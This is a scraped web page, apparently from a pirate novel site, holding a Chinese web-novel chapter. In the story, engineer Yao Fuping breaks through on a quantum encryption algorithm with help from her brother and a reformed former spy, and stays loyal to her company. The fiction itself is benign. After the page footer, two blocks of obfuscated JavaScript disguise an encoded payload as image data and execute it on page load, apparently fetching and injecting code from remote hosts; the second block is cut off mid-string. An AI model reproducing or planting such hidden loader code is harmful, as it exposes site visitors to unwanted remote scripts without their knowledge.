首页
番外第211章方寸代码,心有
返回
关灯 护眼:关 字号:小

番外第211章方寸代码,心有山海

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    番外第211章方寸代码,心有山海(第1/2页)
    深夜十一点的龙胆科技研发大楼,依旧有半数楼层亮着灯,暖白色的灯光透过落地窗,在深夜的城市里铺出一片独属于科技从业者的星光。
    二十层的核心研发区,偌大的办公区只剩零星几台电脑还亮着屏,姚浮萍的工位在最靠窗的位置,屏幕上密密麻麻滚动着代码,光标在黑色背景上不停闪烁,映得她眼底布满红血丝,却依旧亮得惊人。
    桌上的咖啡早已凉透,杯壁凝着一层水珠,旁边堆着揉成一团的草稿纸,上面写满了加密算法的推演公式,还有几处被红笔狠狠划掉的痕迹,昭示着这场研发攻坚的艰难。
    距离“五彩绫镜”项目正式立项,已经过去三个月。
    作为从“星链”项目危机中走出来的升级版,“五彩绫镜”从一开始就背负着龙胆科技的全部期望——主打数据隐私保护,要在荆棘科技虎视眈眈、海外巨头步步紧逼的行业环境里,杀出一条属于国产技术的血路。而项目的核心命脉,正是姚浮萍牵头攻坚的非对称量子加密算法。
    这是行业内公认的技术壁垒,此前一直被海外三家科技巨头垄断专利,国内企业要么花天价支付专利费,要么只能用落后三代的加密技术,处处受制于人。龙胆草提出“五彩绫镜”计划时,当着整个研发团队的面说:“我们要做的,不是跟着别人走,是要让行业跟着我们的标准走。”
    这句话,成了姚浮萍这三个月来的全部执念。
    她本就是计算机领域的天才少女,从大学起就拿遍国内外技术大奖,加入龙胆科技后,一手主导“星链”项目,是公司公认的技术顶梁柱。此前数据泄露、内鬼风波,她带着团队日夜奋战,守住了技术成果,也护着公司渡过危机,可面对这项量子加密算法,她还是第一次感受到如此强烈的挫败感。
    屏幕上的代码运行到第三十七次,依旧在最后一步报错,红色的报错提示跳出来时,姚浮萍狠狠揉了揉太阳穴,靠在椅背上,长长舒了一口气,疲惫感瞬间席卷全身。
    肩膀突然被轻轻拍了一下,她回头,看到姚厚朴端着一杯热咖啡,站在她身后,眼底同样带着疲惫,却满是心疼。
    “还没走?”姚浮萍声音有些沙哑,接过咖啡,指尖触到温热的杯壁,紧绷的神经稍稍放松了些许。
    姚厚朴是她亲弟弟,比她小两岁,同样是技术天才,性格却比她沉稳温和,向来是她最默契的搭档,也是她在研发困境里最坚实的后盾。平日里,她负责算法架构与核心研发,弟弟负责底层逻辑与防火墙搭建,姐弟俩联手,几乎从没在技术上栽过跟头。
    “等你一起,妈晚上打电话,问我们什么时候回家吃饭。”姚厚朴拉过一把椅子坐下,看向她的屏幕,眉头微微蹙起,“还是卡在密钥同步的环节?”
    姚浮萍抿了一口热咖啡,苦涩的***刺激着神经,点了点头,语气里难掩失落:“嗯,试了十七种迭代方案,要么是加密速度不达标,要么是兼容性太差,没法适配‘五彩绫镜’的全场景应用。海外巨头的专利壁垒太死,我们绕不开,又不能侵权,每一步都像走在钢丝上。”
    她不是没遇到过技术难题,可这一次,压力远比以往任何时候都大。
    公司刚经历内鬼风波、股价动荡,好不容易靠着起诉荆棘科技不正当竞争稳住阵脚,“五彩绫镜”是公司转型突围的唯一希望,更是整个团队打翻身仗的底气。全公司上下,从老板龙胆草,到人力总监九里香,再到基层员工,都盯着研发进度,她作为项目牵头人,容不得半点失误。
    更何况,海外巨头早已放出风声,只要姚浮萍愿意带着算法专利加入,开出的年薪是她在龙胆科技的五倍,还承诺独立研发中心、全球技术话语权。猎头的电话,这一个月来几乎没断过,就连荆棘科技,都偷偷托人递过橄榄枝,许以重金,想挖走她这个技术核心。
    换做旁人,或许早已心动。
    可姚浮萍从没想过离开。
    她看着屏幕上的代码,这些由0和1组成的字符,对她而言,从来不是冰冷的工作,而是热爱,是初心。
    大学时,她亲眼见过国内企业因没有核心技术,被海外巨头掐着脖子索要专利费,一款产品的利润,大半都用来支付专利使用费;也见过用户数据因加密技术落后,被肆意泄露、滥用,无数人深受其害。从那时起,她就立志,要做出属于中国人自己的顶级加密技术,守住数据安全,打破海外垄断。
    龙胆科技给了她实现这份初心的平台。
    龙胆草懂技术、惜人才,从不干涉她的研发方向,给足资金与资源支持;九里香懂人心,帮她稳住团队,筛选最优质的技术人才,让她不用为琐事分心;还有弟弟姚厚朴,永远是她最靠谱的搭档,陪她熬夜攻坚,陪她推翻重来;就连曾经让她满心戒备的林晚,如今也能凭着对荆棘科技的了解,给她提出不少规避技术陷阱的建议。
    这里不是冰冷的职场,是一群人朝着同一个目标拼命的地方,是她的初心安放之处。
    “姐,别急。”姚厚朴看着她眼底的红血丝,轻声安慰,“我们已经比原计划快了两周,巨头们研发这项算法,用了三年,我们才三个月,已经很厉害了。实在不行,我们换个思路,不从密钥同步入手,从底层编码逻辑重构,说不定能绕开壁垒。”
    姚浮萍苦笑一声:“我也想过,可底层逻辑重构,意味着整个项目都要推翻重来,工期至少延后半年,公司等不起,市场更等不起。龙胆总已经把海外上市的计划提上日程,就等着这项专利落地,我们拖不起。”
    话音刚落,工位旁的饮水机突然发出一声轻响,打断了两人的对话。
    两人抬头,看到林晚抱着一叠文件,站在不远处,脚步顿住,脸上带着些许局促,显然是听到了她们的对话,怕打扰到她们。
    林晚如今转岗负责数据安全审计,虽不在核心研发组,却也时常留在公司加班,梳理数据安全漏洞,算是研发部的半个编外人员。经历过间谍身份曝光、反戈一击的风波后,她在公司依旧有些流言蜚语,平日里总是刻意和众人保持距离,低调又内敛。
    “抱歉,我过来拿份数据安全报告,打扰你们了。”林晚声音轻轻的,抱着文件,准备转身离开。
    “没事,一起加班而已。”姚浮萍叫住她,语气比以往平和了太多。
    曾经,她是最恨林晚的人,作为内鬼,林晚险些毁了她一手主导的“星链”项目,那时她恨不得林晚立刻离开公司,永远不要再出现在研发部。可后来,看着林晚在发布会上公开荆棘科技的黑料,看着她顶着所有人的非议,默默弥补过错,帮着团队堵住无数技术漏洞,看着她为了保护家人,从被胁迫的受害者,变成勇敢反击的斗士,姚浮萍心里的芥蒂,早已一点点消散。
    职场从非黑即白,人心也不是一成不变,她懂这份救赎与成长的重量。
    林晚顿住脚步,犹豫了一下,走到她们工位旁,看向屏幕上的报错代码,轻声说:“我之前在荆棘科技,听过他们的技术总监提过,海外巨头的量子加密算法,有一个隐藏的逻辑漏洞,专门用来制约其他企业的研发,你们会不会是不小心踩进了这个漏洞里?”
    姚浮萍和姚厚朴同时眼前一亮。
    (本章未完,请点击下一页继续阅读)番外第211章方寸代码,心有山海(第2/2页)
    林晚在荆棘科技待过,虽不是核心研发人员,却也接触过不少行业内幕,她的话,瞬间点醒了陷入思维定式的姚浮萍。
    “你还记得具体是什么漏洞吗?”姚浮萍坐直身体,语气里满是急切,眼底的疲惫一扫而空。
    “记不太清具体参数,只知道是在密钥生成的第三阶段,他们故意设置了一个伪逻辑,看起来是最优解,实则会导致后续同步失败。”林晚仔细回忆着,“我当时只是无意间听到,没太在意,现在想想,你们卡了这么久,说不定就是这个问题。”
    姚浮萍立刻回头,重新看向屏幕,将代码拉到密钥生成阶段,逐行排查,手指在键盘上飞快敲击,眼神专注而明亮。
    姚厚朴也立刻凑过来,配合着姐姐,一起推演逻辑,林晚则站在一旁,安静地看着,偶尔提醒几句细节,三人默契配合,原本凝滞的研发进度,瞬间有了突破口。
    时间一分一秒过去,窗外的夜色越来越深,城市的灯火渐渐稀疏,只有研发部的灯光,依旧亮得温暖。
    不知过了多久,当姚浮萍按下回车键,屏幕上不再出现红色的报错提示,取而代之的,是一行绿色的“运行成功”字样,算法完美通过所有测试,加密速度、兼容性、安全性,全部达标,甚至远超海外巨头的现有技术!
    “成了……”
    姚浮萍看着屏幕,愣了足足十几秒,才喃喃开口,声音带着一丝颤抖,连日来的疲惫、压力、焦虑,在这一刻尽数爆发,眼眶瞬间红了。
    她靠在椅背上,捂住脸,泪水从指缝间滑落,不是委屈,不是辛苦,是释然,是激动,是终于守住初心、突破壁垒的狂喜。
    三个月,整整九十天,她每天只睡四个小时,三餐都在工位上解决,无数次推翻方案,无数次陷入绝望,甚至在深夜里怀疑自己,是不是真的完不成这项研发,是不是真的要辜负所有人的期待。
    可此刻,看着运行成功的代码,她知道,所有的付出都值得了。
    姚厚朴拍着姐姐的肩膀,嘴角抑制不住地上扬,眼里满是骄傲:“我就知道,姐你一定可以的!我们突破了专利壁垒,以后再也不用看海外巨头的脸色了!”
    林晚也露出了久违的笑容,真心为她们感到开心:“恭喜你,姚工,这是属于你的胜利,也是龙胆科技的胜利。”
    姚浮萍擦干眼泪,看向林晚,真诚地说了一句:“谢谢你,林晚。”
    这一声谢谢,是感谢她的关键提醒,也是彻底放下过往芥蒂的和解。
    林晚摇了摇头,轻声说:“我只是做了我该做的,真正厉害的是你,从来没放弃过。猎头开那么高的薪水,你都没走,换做别人,早就离开了。”
    提到猎头,姚浮萍淡淡一笑,眼神坚定而通透:“钱固然重要,可有些东西,比钱更重要。我做技术,不是为了高薪厚禄,是为了心里的那点热爱,那份初心。龙胆科技给了我实现初心的地方,这里有懂我的伙伴,有一起拼命的团队,我舍不得走,也不会走。”
    她从小就痴迷代码,在她眼里,每一行代码都是有温度的,方寸之间的字符,能构筑起守护数据安全的屏障,能改变行业的格局,能承载着她的山海理想。
    海外巨头给的高薪再诱人,也买不走她的初心;荆棘科技的橄榄枝再丰厚,也换不来她对技术的纯粹热爱。
    她要的,从来不是优渥的待遇,而是看着自己研发的技术,落地应用,守护万千用户的数据安全,看着龙胆科技靠着自主核心技术,走向世界,成为行业的标杆。
    这,才是她作为技术人,最想要的成就感。
    三人正说着,办公区的电梯门突然打开,龙胆草和曹辛夷并肩走了出来,手里提着几份夜宵,看到她们这边亮着灯,快步走了过来。
    “还在加班?刚让助理买的夜宵,热乎的。”龙胆草将夜宵放在桌上,看到屏幕上运行成功的算法,先是一愣,随即反应过来,眼底满是惊喜,“算法成了?”
    姚浮萍点了点头,站起身:“成了,龙胆总,量子加密算法,全部达标,符合专利申请标准。”
    龙胆草瞬间笑了,连日来因公司上市、海外布局的紧绷神情,彻底放松下来,他拍着姚浮萍的肩膀,语气满是赞许:“好!好样的!姚工,我就知道你一定能做到!这项专利,不仅是龙胆科技的功臣,更是整个行业的突破!”
    曹辛夷也露出笑容,将一份热粥递给姚浮萍:“辛苦了,快吃点东西,别把身体熬坏了。之前海外巨头的猎头找你,我们都捏了一把汗,还好你留下了。”
    “我从没打算走。”姚浮萍接过粥,温热的粥滑进胃里,暖了身心,“这里是我的战场,也是我的家,我哪儿也不去。”
    九里香也不知何时出现在了办公区,手里拿着一份文件,笑着走过来:“看来我这份人才留任奖励,是派上用场了。董事会刚通过,给姚工你颁发年度技术功勋奖,另外,研发团队的奖金翻倍,休假时长翻倍,算是公司对你们的犒劳。”
    她看着姚浮萍,眼神里满是欣赏:“我做人力资源这么多年,见过太多人才为了高薪跳槽,像你这样坚守初心、热爱技术的,太难得了。你的坚守,公司都看在眼里,记在心里。”
    小小的工位上,五个人围在一起,没有上下级的隔阂,没有过往的芥蒂,只有并肩作战后的温情,和共同突破难关的喜悦。
    夜宵的香气弥漫在空气中,屏幕上的代码依旧闪烁着光芒,窗外的夜色渐淡,天边已经泛起了鱼肚白,新的一天即将到来。
    姚浮萍吃着温热的粥,看着身边的伙伴,心里一片澄澈。
    她曾以为,技术人的战场,是冰冷的代码,是枯燥的算法,是孤军奋战的攻坚。可此刻她才明白,真正的技术之路,从来不是独行,有并肩作战的伙伴,有懂你惜你的平台,有坚守不变的初心,方寸代码之间,亦能容纳山海,亦能绽放光芒。
    那些深夜的坚守,那些挫败的迷茫,那些外界的诱惑,最终都化作了成长的养分,让她更加清楚自己想要什么,该坚守什么。
    几天后,姚浮萍带着完整的算法专利申请材料,递交到国家知识产权局,同时向全球发起专利申请,正式打破海外巨头的技术垄断。
    消息传出,行业震动,荆棘科技股价大跌,海外巨头纷纷发来合作邀约,再不敢轻视龙胆科技。
    而姚浮萍,依旧是那个专注技术的研发总监,没有居功自傲,没有停下脚步,转身又带着团队,投入到“五彩绫镜”的后续优化中。
    对她而言,专利突破不是终点,而是新的起点。
    她依旧会在深夜加班,依旧会为了一个代码bug反复推演,依旧会拒绝所有高薪挖角,守着她的代码,守着她的团队,守着龙胆科技,守着她心底那份纯粹的技术初心。
    方寸之间,代码为刃,心有山海,无畏前行。
    她的热爱,从未褪色;她的坚守,终有回响。在这场关于技术、职场与人心的征程里,她用最纯粹的热爱,走出了属于自己的技术之路,也在龙胆科技的故事里,留下了属于技术人的璀璨光芒。
    (完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD 